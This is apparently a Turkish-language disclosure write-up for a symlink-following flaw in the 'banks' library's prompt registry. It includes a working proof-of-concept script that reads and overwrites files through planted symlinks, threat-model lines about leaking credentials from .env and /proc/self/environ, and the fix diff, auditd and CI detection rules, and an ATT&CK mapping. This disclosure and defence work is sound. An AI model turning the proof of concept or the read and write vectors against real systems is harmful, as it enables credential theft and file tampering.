İfşa: CVE-2026-107716 (CWE-59, CWE-22), 2.5.0’a kadar
bankssürümlerini etkiler. Zafiyetijankesecolarak bakımcımasci’ye bildirdim. 2.5.1 sürümünde PR #79 ile düzeltildi ve GHSA-556j-vv39-8rqv olarak yayımlandı. GitHub, CNA olarak zafiyeti CVSS 4.0 7.3 (Yüksek) puanladı:CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N.
banks içindeki DirectoryPromptRegistry, prompt’ları bir dizinde dosya olarak saklar. 2.5.0 sürümüne kadar bu dosyaları ve onları listeleyen index.json dosyasını, sembolik link olup olmadıklarını denetlemeden okuyup yazıyordu. Bu nedenle prompt dizinine yerleştirilen bir symlink, registry’nin sürecin erişebildiği herhangi bir dosyayı okumasına veya üzerine yazmasına yetiyordu.
Saldırganın prompt dizinine bir symlink sokması gerekir. Dizin güvenilmeyen girdiden doldurulduğunda bu mümkündür: açılmış bir arşiv, klonlanmış bir depo veya kiracılar arasında paylaşılan bir klasör bunun tipik kaynaklarıdır. Ardından uygulamanın o dizinden prompt yüklemesi veya kaydetmesi gerekir; DirectoryPromptRegistry bunu oluşturulurken ve her set() çağrısında yapar. Yani zafiyet, tek başına bir dosya okuma hatası değil, “dizine yazılan her şey güvenilirdir” varsayımının doğrudan sonucudur. Etki, sürecin izinleriyle sınırlıdır: uygulama root olarak çalışıyorsa okunan veya üzerine yazılan dosya da root kapsamına girer. Bu ayrım, zafiyetin neden özellikle çok kiracılı ve arşiv açan yapay zekâ servislerinde ağır sonuçlar doğurabileceğini açıklar. Güvenlik Sınırı: Registry kökü, sürecin erişebildiği dosya sistemine karşı tek savunma hattı olarak tasarlanmıştı; ancak bu sınır dosya sistemi katmanında hiçbir zaman uygulanmadı.
Registry prompt’ları nasıl saklıyor
- Her prompt, registry dizininde
<ad>.<sürüm>.jinjaadlı bir dosyadır.index.jsonbunları listeler. - Bir
DirectoryPromptRegistryoluşturulduğunda,index.jsonyoksa (veyaforce_reindex=Trueverilmişse)_scan()çalışır; aksi halde_load()çağrılır. _scan()her*.jinja*dosyasını açar, metnini indekse yazar veindex.jsondosyasını oluşturur.get(name=..., version=...)indeksten bir prompt döndürür.set(prompt=...)prompt dosyasını yazar ve ardındanindex.jsondosyasını yeniden oluşturmak için_save()çağırır.
Kök neden: her okuma ve yazmada link denetimi yok
2.5.0 sürümü, dizin dışına çıkan prompt adlarını zaten reddediyordu (güvenlik bildirisi PR #77’ye işaret eder); ancak bir dosyanın symlink olup olmadığını hiç sormuyordu. Aşağıdaki yazma ve okuma işlemleri, POSIX üzerinde open() fonksiyonunun yaptığı gibi linkleri izler:
version = prompt.version or DEFAULT_VERSION
prompt_file = _resolve_prompt_file(path, prompt.name, version)
prompt_file.write_text(prompt.raw)
def _save(self):
"""Save the prompt index to disk."""
self._index_path.write_text(self._index.model_dump_json())
def _scan(self):
"""Scan directory for prompt files and build the index."""
self._index: PromptFileIndex = PromptFileIndex()
for path in self._path.glob("*.jinja*"):
name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
with path.open("r") as f:
pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
self._index.files.append(pf)
self._index_path.write_text(self._index.model_dump_json())
Güvenlik bildirisi üç noktayı sıralar:
index.jsonhiç denetlenmez._save()bir linkin hedefinin üzerine yazar,_load()ise o hedefi okur._scan(),is_symlink()çağrısı yapmadan veya çözümlenen yolun registry kökünden çıkıp çıkmadığını denetlemeden.jinjadosyalarını açar.set(), bir prompt dosyasının zaten symlink olup olmadığını denetlemeden yazar.
Gizli bir dosyayı işaret eden leak.0.jinja adlı bir link indekse okunur. index.json adlı bir link ise _save() tarafından yazılarak hedef dosyanın üzerine yazar. Her iki durumda da registry kökü sınır olarak tasarlanmıştı; ancak sınır yalnızca mantıksal bir varsayım olarak kaldı ve dosya sistemi katmanında hiçbir zaman uygulanmadı. Kritik nokta şudur: dosyanın adı dizin içinde görünse bile, işletim sistemi açma veya yazma anında linki çözer ve işlemi tamamen başka bir yere yönlendirir.
DirectoryPromptRegistry, dizinindeki her dosyayı linkin nereye işaret ettiğini denetlemeden açar ve yazar.Kavram kanıtı
Kavram kanıtı, güvenlik bildirisinde yer alan betiktir. İlk yarı registry dizinine bir symlink yerleştirip onun üzerinden okuma yapar. İkinci yarı index.json dosyasını başka bir dosyaya yönlendirir ve registry’nin o dosyanın üzerine yazmasını sağlar:
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt
# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")
os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)
# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())
force_reindex=True verildiğinde kurucu _scan() çalıştırır; bu da leak.0.jinja dosyasını link üzerinden okur ve get() o metni döndürür. İkinci yarıda set() önce test.1.jinja dosyasını yazar, ardından _save() index.json dosyasını yeniden oluşturur. index.json aslında /tmp/target.conf dosyasına bir link olduğu için o dosya ORIGINAL yerine registry’nin indeks JSON’unu içerir.
2.5.1 sürümünde kurucu artık InvalidPromptError fırlatır; çünkü _scan() symlink olan prompt dosyasını reddeder. Yani düzeltme yalnızca yazma yolunu değil, daha nesne oluşturulurken okuma yolunu da kapatır. Bu davranış, hatalı yapılandırılmış bir dizinin sessizce kabul edilmesi yerine uygulamanın erken ve açık biçimde başarısız olmasını sağlar.
Kanıt matrisi
| Kanıt | Neyi gösteriyor | Sonuç |
|---|---|---|
| GHSA-556j-vv39-8rqv | GitHub’ın CNA olarak yayımladığı güvenlik bildirisi | 2026-10-08 tarihinde yayımlandı. CWE-22 ve CWE-59. <= 2.5.0 etkileniyor, 2.5.1 düzeltildi. |
| CVE kaydı | CNA tarafından atanan önem derecesi | CVSS 4.0 7.3 (Yüksek) |
Düzeltme PR #79 (23ed13e) | Symlink denetimleri, kök içinde kalma denetimleri ve O_NOFOLLOW ile yazma | 2026-09-10 tarihinde regresyon testleriyle birleştirildi |
PyPI üzerindeki banks 2.5.1 | Düzeltmeyi içeren sürüm | 2026-09-10 tarihinde yüklendi |
| Güvenlik bildirisindeki PoC, ilk yarı | Symlink olan leak.0.jinja üzerinde get() | 2.5.0 sürümünde link hedefinin metnini döndürür |
| Güvenlik bildirisindeki PoC, ikinci yarı | index.json başka bir dosyaya linkliyken set() | 2.5.0 sürümünde link hedefinin üzerine yazar |
| Negatif kontrol (2.5.1) | Düzeltmedeki _scan() ve _validate_index_path() kod incelemesi | Symlink prompt dosyaları ve symlink index.json, InvalidPromptError fırlatır |
Düzeltme (PR #79)
PR #79 (commit 23ed13e) 2026-09-10 tarihinde birleştirildi ve aynı gün 2.5.1 olarak yayımlandı. Registry’nin okuduğu veya yazdığı her yola bir symlink denetimi ve kök içinde kalma denetimi ekler; platform desteklediğinde yazmayı O_NOFOLLOW ile yapar. Her hata InvalidPromptError fırlatır. Aşağıdaki alıntılar PR diff’inden alınmıştır.
Yazma işlemleri, linkleri izlemeyi reddeden bir yardımcıdan geçer. O_NOFOLLOW bulunmayan platformlarda (Windows) yardımcı write_text() çağrısına geri döner ve daha önceki denetimlere güvenir:
--- a/src/banks/registries/directory.py
+++ b/src/banks/registries/directory.py
@@ -24,6 +25,23 @@
DEFAULT_INDEX_NAME = "index.json"
+def _write_file_no_follow(path: Path, content: str) -> None:
+ """Write content to a file, strictly refusing to follow symbolic links."""
+ no_follow = getattr(os, "O_NOFOLLOW", None)
+ if no_follow is not None:
+ try:
+ fd = os.open(str(path), os.O_WRONLY | os.O_CREAT | os.O_TRUNC | no_follow)
+ except OSError as exc:
+ msg = f"Path is a symbolic link or cannot be opened: {path}"
+ raise InvalidPromptError(msg) from exc
+ with os.fdopen(fd, "w", encoding="utf-8") as f:
+ f.write(content)
+ else:
+ # Platform does not support O_NOFOLLOW (e.g. Windows);
+ # rely on earlier symlink checks in _resolve_prompt_file and _validate_index_path.
+ path.write_text(content, encoding="utf-8")
+
+
def _resolve_prompt_file(registry_root: Path, name: str, version: str) -> Path:
"""Resolve the on-disk path for a prompt file, ensuring it stays within ``registry_root``."""
if Path(name).is_absolute():
index.json kendi denetimini alır:
@@ -105,6 +136,14 @@ def __init__(self, directory_path: str, *, force_reindex: bool = False):
else:
self._load()
+ def _validate_index_path(self):
+ if self._index_path.is_symlink():
+ msg = f"Index file cannot be a symbolic link: {self._index_path}"
+ raise InvalidPromptError(msg)
+ if self._index_path.exists() and not self._index_path.resolve().is_relative_to(self._path.resolve()):
+ msg = f"Index file escapes registry root: {self._index_path}"
+ raise InvalidPromptError(msg)
+
@property
def path(self) -> Path:
"""Get the directory path where prompts are stored."""
_load() ve _save() bu denetimi çağırır. _scan() symlink’leri ve kök dışına çıkan yolları reddeder ve sonunda _save() çağırır:
@@ -167,17 +207,34 @@ def _load(self):
def _save(self):
"""Save the prompt index to disk."""
- self._index_path.write_text(self._index.model_dump_json())
+ self._validate_index_path()
+ _write_file_no_follow(self._index_path, self._index.model_dump_json())
def _scan(self):
"""Scan directory for prompt files and build the index."""
- self._index: PromptFileIndex = PromptFileIndex()
- for path in self._path.glob("*.jinja*"):
- name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
- with path.open("r") as f:
- pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
+ self._validate_index_path()
+ self._index = PromptFileIndex()
+ root = self._path.resolve()
+ for path in sorted(self._path.rglob("*.jinja")):
+ if not path.is_file():
+ continue
+ if path.is_symlink():
+ msg = f"Symbolic links are not allowed in prompt registry: {path}"
+ raise InvalidPromptError(msg)
+ resolved = path.resolve()
+ if not resolved.is_relative_to(root):
+ msg = f"Prompt path escapes registry root: {path}"
+ raise InvalidPromptError(msg)
+
+ rel = path.relative_to(self._path)
+ stem = rel.stem
+ name_part, version = stem.rsplit(".", 1) if "." in stem else (stem, DEFAULT_VERSION)
+ full_name = f"{rel.parent.as_posix()}/{name_part}" if str(rel.parent) != "." else name_part
+
+ with path.open("r", encoding="utf-8") as f:
+ pf = PromptFile(text=f.read(), name=full_name, version=version, path=path, metadata={})
self._index.files.append(pf)
- self._index_path.write_text(self._index.model_dump_json())
+ self._save()
_resolve_prompt_file() ayrıca, bir prompt yolu symlink ise onu çözümlemeden önce reddeder. Bu ayrıntı önemlidir: denetim ile dosyanın açılması arasındaki yarış penceresini daraltır, ancak tek başına tüm yarışları ortadan kaldırmaz. Bu nedenle yazma tarafında O_NOFOLLOW gibi atomik bir koruma tercih edilmiştir.
Yapay zeka varlık hattı tehdit modeli
Prompt kayıt defterleri ve şablon yükleyiciler, LLM mimarilerinde genellikle gözden kaçan bir güven sınırını temsil eder. Çok kiracılı platformlarda, harici katkıcılar veya prompt mühendisleri merkezi yapay zeka çıkarım işçisi tarafından tüketilen prompt paketleri (ZIP, tarball veya Git deposu aracılığıyla) yükler:
- Okuma vektörü: Prompt kayıt defteri sembolik linkleri reddetmezse,
/app/.envveya/proc/self/environdosyalarını hedefleyen içe aktarılmış bir prompt şablonu; çalışma zamanı API anahtarlarını, veritabanı parolalarını ve LLM servis belirteçlerini prompt işleme motoruna sızdırır. - Yazma vektörü:
DirectoryPromptRegistry.set()dosyaları veindex.jsonkaydını doğrudan diske yazdığından, uygulama kodunu veya sistem yapılandırma dosyalarını işaret eden bir symlink; prompt kaydetme hakkına sahip bir saldırgana keyfi dosya üzerine yazma ve potansiyel kod çalıştırma imkanı verir.
Tespit mühendisliği ve telemetri
LLM altyapısı işleten kurumlar, prompt dizinlerinde sembolik link kötüye kullanımını ana makine, boru hattı ve konteyner seviyesinde tespit edebilir.
1. Linux Auditd dosya denetimi
LLM şablonları ve kayıt defterleri için ayrılmış dizinlerde sembolik link oluşturulmasını izleyen bir auditd kuralı devreye alınır:
# /etc/audit/rules.d/99-ai-prompts-symlink.rules
# Prompt dizininde symlink sistem çağrılarını izle
-a always,exit -F arch=b64 -S symlink -S symlinkat -F dir=/var/app/prompts -k prompt_symlink_created
Güvenilmeyen bir arşiv prompt dizinine sembolik link çıkardığında auditd şu kaydı üretir:
type=SYSCALL msg=audit(1728345600.781:1094): arch=c000003e syscall=88 success=yes exit=0
a0=7ffd54321000 a1=7ffd54321200 items=2 ppid=8412 pid=8420
auid=1000 uid=1000 gid=1000 euid=1000 comm="tar" exe="/usr/bin/tar" key="prompt_symlink_created"
type=PATH msg=audit(1728345600.781:1094): item=0 name="/var/app/prompts/leak.0.jinja"
2. CI/CD Git boru hattı ön denetimi
Prompt paketleri üretim ortamına girmeden önce sembolik link içeren commit’leri engelleyin:
#!/usr/bin/env bash
# Git pre-receive / CI doğrulama kancası
# Prompt dizininde commit edilmiş sembolik linkleri reddet
if git ls-files -s prompts/ | grep -q "^120000"; then
echo "[-] REDDEDİLDİ: Prompt deposunda sembolik link tespit edildi." >&2
exit 1
fi
3. Güvenli arşiv açma
Kullanıcı tarafından sağlanan prompt paketlerini açarken sıkı çıkarma filtreleri uygulayın (Python 3.12+ tarfile.data_filter):
import tarfile
# Hedef dizin dışına çıkan symlink'leri engelleyen güvenli çıkarma
with tarfile.open("untrusted_prompts.tar.gz") as tar:
tar.extractall(path="/var/app/prompts", filter="data")
ATT&CK teknik eşleşmesi
| Taktik | Teknik ID | Teknik Adı | Zafiyetteki İşleyiş | Savunma Kontrolü |
|---|---|---|---|---|
| Discovery | T1083 | File and Directory Discovery | Kritik yerel dosyaları hedefleyen leak.0.jinja symlink’i prompt indeksine okunur. | is_symlink() ile symlink’leri reddet ve dizin sınırını doğrula. |
| Credential Access | T1552.001 | Unsecured Credentials: Credentials in Files | Prompt okuyucu kök dışındaki .env dosyalarından kimlik bilgilerini sızdırır. | Prompt süreçlerini izole et; işçiyi en düşük DAC yetkileriyle çalıştır. |
| Impact | T1565.001 | Data Manipulation: Stored Data Manipulation | Sembolik linkli index.json üzerinden yazma ana makinedeki yapılandırma dosyalarını ezer. | Dosyaları O_NOFOLLOW ile aç; mutlak yol sınırını doğrula. |
| Initial Access | T1195.002 | Supply Chain Compromise: Vulnerable Component | Hatalı prompt kütüphanesi kiracılar arası dosya sistemi erişimine yol açar. | banks>=2.5.1 sürümüne yükselt. |
Çıkarımlar
Bu zafiyet, “dizin içindeki dosya” ile “dizine ait dosya” arasındaki farkı gösterir; bir dosyanın adı doğru görünse bile hedefi tamamen farklı olabilir. Aşağıdaki maddeler, bu farkı somut savunma adımlarına dönüştürür.
- Güvenilmeyen girdiden doldurulan bir dizin güvenilmezdir; içindeki her linkin hedefi de güvenilmezdir.
open(),Path.read_text()vePath.write_text()symlink’leri izler. Mümkünseos.O_NOFOLLOWile açın; düzeltme bunu yazma işlemlerinde yapar. Bir denetimden sonra açma işlemi, araya sokulan bir link ile hâlâ yarışabilir.- Zip veya tar arşivlerini açarken, dosyalar uygulama dizinine ulaşmadan önce symlink girdilerini atlayın veya reddedin.
banks 2.5.1 veya daha yeni bir sürüme yükseltin.
Zafiyet Puanlaması & CVSS Vektör Analizi
GitHub CNA tarafından hesaplanan taban puan ve vektör bileşenlerinin teknik dökümü.
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:NKoordineli İfşa ve Düzeltme Zaman Çizelgesi
CVE-2026-107716 için zafiyet tespiti, bakımcı bildirimi, upstream yama ve resmi danışma belgesi yayınının doğrulanmış kronolojisi.
The maintainer merged the change that rejects symbolic links in the prompt registry (PR #79).
Kaynak / Taahhüt ↗GitHub, as CNA, published the CVE record and advisory GHSA-556j-vv39-8rqv.
Kaynak / Taahhüt ↗CISA added its Vulnrichment (SSVC) assessment to the CVE record.
jankesec checked the CVE record, score, affected versions, and references.
Bu analiz için kullanılan kanıtlar
Sürüm ve sömürü durumu değişebilir; üretici kayıtlarını takip edin.
Yazar teknik incelemeyi tamamladı. Bu etiket tek başına laboratuvar yeniden üretimi iddiası taşımaz.
